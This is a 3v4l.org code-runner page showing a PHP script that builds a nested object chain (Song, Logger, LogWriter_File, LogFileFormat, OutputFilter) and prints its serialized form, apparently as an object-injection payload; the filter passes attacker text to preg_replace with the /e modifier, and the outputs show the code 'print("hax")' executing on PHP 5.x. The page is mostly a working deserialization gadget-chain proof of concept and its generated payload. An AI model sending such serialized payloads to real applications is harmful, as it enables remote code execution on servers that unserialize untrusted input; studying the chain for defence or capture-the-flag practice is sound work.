3v4l.org

run code in 300+ PHP versions simultaneously
<?php class OutputFilter { protected $matchPattern; protected $replacement; function __construct($pattern, $repl) { $this->matchPattern = $pattern; $this->replacement = $repl; } function filter($data) { return preg_replace($this->matchPattern, $this->replacement, $data); } }; class LogFileFormat { protected $filters; protected $endl; function __construct($filters, $endl) { $this->filters = $filters; $this->endl = $endl; } function format($txt) { foreach ($this->filters as $filter) { $txt = $filter->filter($txt); } $txt = str_replace('\n', $this->endl, $txt); return $txt; } }; class LogWriter_File { protected $filename; protected $format; function __construct($filename, $format) { $this->format = $format; } function writeLog($txt) { $txt = $this->format->format($txt); } }; class Logger { protected $logwriter; function __construct($writer) { $this->logwriter = $writer; } function log($txt) { $this->logwriter->writeLog($txt); } }; class Song { protected $logger; protected $name; protected $group; protected $url; function __construct($name, $group, $url) { $this->name = $name; $this->group = $group; $this->url = $url; $fltr = new OutputFilter("/(.*)/e", "print(\"hax\")"); $this->logger = new Logger(new LogWriter_File("song_views", new LogFileFormat(array($fltr), "\n"))); $this->logger->log("this is log"); } } $kek = new Song("manyname", "sogroup", "wowhttp"); echo serialize($kek);
Output for 8.1.0 - 8.1.27, 8.2.0 - 8.2.18, 8.3.0 - 8.3.4, 8.3.6
Warning: preg_replace(): The /e modifier is no longer supported, use preg_replace_callback instead in /in/lkTJo on line 11 Deprecated: str_replace(): Passing null to parameter #3 ($subject) of type array|string is deprecated in /in/lkTJo on line 26 O:4:"Song":4:{s:9:"*logger";O:6:"Logger":1:{s:12:"*logwriter";O:14:"LogWriter_File":2:{s:11:"*filename";N;s:9:"*format";O:13:"LogFileFormat":2:{s:10:"*filters";a:1:{i:0;O:12:"OutputFilter":2:{s:15:"*matchPattern";s:7:"/(.*)/e";s:14:"*replacement";s:12:"print("hax")";}}s:7:"*endl";s:1:" ";}}}s:7:"*name";s:8:"manyname";s:8:"*group";s:7:"sogroup";s:6:"*url";s:7:"wowhttp";}
Output for 8.3.5
Warning: PHP Startup: Unable to load dynamic library 'sodium.so' (tried: /usr/lib/php/8.3.5/modules/sodium.so (libsodium.so.23: cannot open shared object file: No such file or directory), /usr/lib/php/8.3.5/modules/sodium.so.so (/usr/lib/php/8.3.5/modules/sodium.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 Warning: preg_replace(): The /e modifier is no longer supported, use preg_replace_callback instead in /in/lkTJo on line 11 Deprecated: str_replace(): Passing null to parameter #3 ($subject) of type array|string is deprecated in /in/lkTJo on line 26 O:4:"Song":4:{s:9:"*logger";O:6:"Logger":1:{s:12:"*logwriter";O:14:"LogWriter_File":2:{s:11:"*filename";N;s:9:"*format";O:13:"LogFileFormat":2:{s:10:"*filters";a:1:{i:0;O:12:"OutputFilter":2:{s:15:"*matchPattern";s:7:"/(.*)/e";s:14:"*replacement";s:12:"print("hax")";}}s:7:"*endl";s:1:" ";}}}s:7:"*name";s:8:"manyname";s:8:"*group";s:7:"sogroup";s:6:"*url";s:7:"wowhttp";}
Output for 7.0.0 - 7.0.20, 7.1.0 - 7.1.33, 7.2.0 - 7.2.33, 7.3.0 - 7.3.33, 7.4.0 - 7.4.33, 8.0.0 - 8.0.30
Warning: preg_replace(): The /e modifier is no longer supported, use preg_replace_callback instead in /in/lkTJo on line 11 O:4:"Song":4:{s:9:"*logger";O:6:"Logger":1:{s:12:"*logwriter";O:14:"LogWriter_File":2:{s:11:"*filename";N;s:9:"*format";O:13:"LogFileFormat":2:{s:10:"*filters";a:1:{i:0;O:12:"OutputFilter":2:{s:15:"*matchPattern";s:7:"/(.*)/e";s:14:"*replacement";s:12:"print("hax")";}}s:7:"*endl";s:1:" ";}}}s:7:"*name";s:8:"manyname";s:8:"*group";s:7:"sogroup";s:6:"*url";s:7:"wowhttp";}
Output for 5.5.24 - 5.5.35, 5.6.7 - 5.6.28
Deprecated: preg_replace(): The /e modifier is deprecated, use preg_replace_callback instead in /in/lkTJo on line 11 haxhaxO:4:"Song":4:{s:9:"*logger";O:6:"Logger":1:{s:12:"*logwriter";O:14:"LogWriter_File":2:{s:11:"*filename";N;s:9:"*format";O:13:"LogFileFormat":2:{s:10:"*filters";a:1:{i:0;O:12:"OutputFilter":2:{s:15:"*matchPattern";s:7:"/(.*)/e";s:14:"*replacement";s:12:"print("hax")";}}s:7:"*endl";s:1:" ";}}}s:7:"*name";s:8:"manyname";s:8:"*group";s:7:"sogroup";s:6:"*url";s:7:"wowhttp";}
Output for 5.0.0 - 5.0.5, 5.1.0 - 5.1.6, 5.2.0 - 5.2.17, 5.3.0 - 5.3.29, 5.4.0 - 5.4.45
haxhaxO:4:"Song":4:{s:9:"*logger";O:6:"Logger":1:{s:12:"*logwriter";O:14:"LogWriter_File":2:{s:11:"*filename";N;s:9:"*format";O:13:"LogFileFormat":2:{s:10:"*filters";a:1:{i:0;O:12:"OutputFilter":2:{s:15:"*matchPattern";s:7:"/(.*)/e";s:14:"*replacement";s:12:"print("hax")";}}s:7:"*endl";s:1:" ";}}}s:7:"*name";s:8:"manyname";s:8:"*group";s:7:"sogroup";s:6:"*url";s:7:"wowhttp";}
Output for 4.4.2 - 4.4.9
Parse error: syntax error, unexpected T_STRING, expecting T_OLD_FUNCTION or T_FUNCTION or T_VAR or '}' in /in/lkTJo on line 4
Process exited with code 255.
Output for 4.3.0 - 4.3.1, 4.3.5 - 4.3.11, 4.4.0 - 4.4.1
Parse error: parse error, unexpected T_STRING, expecting T_OLD_FUNCTION or T_FUNCTION or T_VAR or '}' in /in/lkTJo on line 4
Process exited with code 255.
Output for 4.3.2 - 4.3.4
Parse error: parse error, expecting `T_OLD_FUNCTION' or `T_FUNCTION' or `T_VAR' or `'}'' in /in/lkTJo on line 4
Process exited with code 255.

preferences:
245.32 ms | 401 KiB | 359 Q